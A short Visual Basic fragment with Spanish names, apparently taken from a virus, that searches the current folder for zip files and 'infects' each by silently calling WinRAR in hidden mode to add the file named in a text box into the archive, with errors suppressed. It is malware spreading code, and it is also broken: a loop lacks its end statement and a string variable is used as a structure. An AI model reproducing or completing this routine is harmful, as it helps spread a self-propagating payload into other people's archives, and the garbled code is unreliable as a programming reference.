Private Sub search_rar()
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub

Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function